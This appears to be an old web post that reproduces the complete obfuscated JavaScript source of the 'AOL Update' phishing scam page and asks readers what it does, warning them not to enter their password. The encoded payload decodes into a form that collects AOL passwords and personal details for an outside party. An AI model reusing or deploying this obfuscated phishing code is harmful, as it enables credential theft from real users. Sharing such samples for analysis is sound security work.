Do you know anything about JavaScript?

Well then take a look at this:

___________________________________________________

<html><body>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="Sun, 21 Jan 1990 13:29:21 GMT">
<meta NAME="Author" CONTENT="HW">
<meta NAME="GENERATOR" CONTENT="HayWyre!">
</head>

<script LANGUAGE="JavaScript">

<!--
function e() {
d("1>u(=h1>8+{h1u&u=8h}ou8Ao8ubx\/{+u81pu&u=8h1p>8+{h1 n{Yh1 n{YbSr,P\"%zx!~bS\",z_z%lG@@@@@@Gb';2'lG\\\\\\\\\\\\Gh1&(\[bB%,lG&(+\[84ponu&68f\[&.Gh1>AhJ8b+A8b6tAA8ou=Yb&ouAn{t6&o\[bo8wbw8 b4tA.&o\[bu86>on=n\[Ybu>+ub+==nw4b.+4u8Ab4tA.&o\[b Y1 Ah4unA&o\[bYntAb\/+44wnA{bnobu>8b}ou8Ao8ufbb;+6>bu&(8bYntb\[nunb+bw8 b4&u8bYntAb Anw48Ab6>86\t41 AhYntAb\/+44wnA{bunb(+\t8b4tA8bYntb+A8b6tAA8ou=Ybno=&o8fbbBunA&o\[bYntAb\/+44wnA{bw&==b(+\t81 Ah4tA.&o\[b.+4u8Abib8+4&8Ab+o{bYntb8U\/8A&8o68b4\/88{4bX-\\Rb.+4u8Afb1>AhBunA&o\[bYntAb4&\[o5nob\/+44wnA{b6+ob(+\t8bw8 b4tA.&o\[b.+4u8ANbrb\/+44wnA{b.nAbYntAbK8A4no+=b@&=&o\[b,+ &o8u1 Ah\/Anu86u4b&u4b6nou8ou4b Yb(+\t&o\[b&ubo86844+AYbunb8ou8Ab+b\/+44wnA{b8+6>bu&(8bYntAbK@,b&4b+668448{f1 AhJ8bA86n((8o{bu>+ubYntbt48bu>8b4+(8b\/+44wnA{b.nAb nu>fbyntb6+obno=Yb4unA8b\/+44wnA{4b.nAbu>81 Ah+66ntoubw&u>bw>&6>bYntb+A8b6tAA8ou=Yb4&\[o8{bnofb!z';QbbBunA&o\[b\/+44wnA{4b{n84bonub6>+o\[81 AhYntAb4&\[o5nob\/+44wnA{fb'nb6>+o\[8bYntAb4&\[o5nob\/+44wnA{Cb\[nbunbP8YwnA{QbbK+44wnA{fbK=8+481 AhA8\[&4u8Abw&u>bt4Cb8ou8AbYntAb6nAA86ubrz_b46A88obo+(8b+o{b\/+44wnA{b 8=nwfbyntbw&==bA868&\]8b+1 Ah6no.&A(+u&nob8(+&=b4>nAu=Yb.n==nw&o\[f1 Ah1.nA(b*;'$z~lGKzB'Gbr,'}z!lG>uu\/Qpp)cXe-^\\e-\np6\[&5 &op.nA((+&=f6\[&Gh1&o\/tub'yK;l$}~~;!b#r_x;lG>uu\/QppX<cf))fX\\fsp46p)-<X<p{nwof>u(=Gb!r*;lGA8{&A86uGh1&o\/tub'yK;l$}~~;!b#r_x;lG\/8A4noF&(+&= nUf6n(Gb!r*;lGA86&\/&8ouGh1&o\/tub'yK;l$}~~;!b#r_x;lG!+(84Gbo+(8lG4t `86uGh1&o\/tub'yK;l$}~~;!b#r_x;lG`&(F+n=f6n(Gb!r*;lG8(+&=Gh1 h1\/h1\/A8hB6A88ob!+(8Q1&o\/tub'yK;lG';2'Gb!r*;lGB,%;;!b!r*;GbB}?;lGX\\Gb*r2_;!\"'$lGX\\Gh1 AhK+44wnA{bbbQ1&o\/tub'yK;lGKrBBJz%~Gb!r*;lGKrBBJz%~GbB}?;lGX\\Gb*r2_;!\"'$lGX\\Gh1 Ahbbbbbbbbbbbbbbbb1&o\/tub'yK;lG4t (&uGb#r_x;lGBt (&uGh1p.nA(h1p n{Yh1p>u(=h");return 0;}
//-->

</script>
<script LANGUAGE="JavaScript">

<!--
function d(ber) {document.write(c(alf,ber));}
var alf = "9DIdjkL7v0gFZhl1EQpf5CaM3mTiRHVqbGNBctezWxn2APy4wsYKrXoUJO8u6S!\"\ \|#$%&\'()*+,-.\/:;<=>?@[\\]^_\t\`{}~\n";function c(PL, PO) {var iTR, oKJ = PL.length / 2, oSS = "", dv;for (var x = 0; x < PO.length; x++) { iTR = PL.indexOf(PO.charAt(x));if (iTR > oKJ) {dv = iTR - oKJ; oSS = oSS + PL.charAt(48 - dv);}else {dv = oKJ - iTR;oSS = oSS + PL.charAt(48 + dv);}}return oSS;}
//-->

</script>
<script

LANGUAGE="JavaScript">

<!--
e();//-->

</script>
</body></html>

___________________________________________________

That's the code, in it's entirety, that was found in the infamous AOL Update scam. If anybody out there knows JavaScript and has any idea what this code does, I would greatly appreciate it if you would inform me. If you've never heard of the AOL Update scam, click here. The above code is the entire source code for that page. But don't do what it says (duh), cuz it says to type in your password, and that would be bad.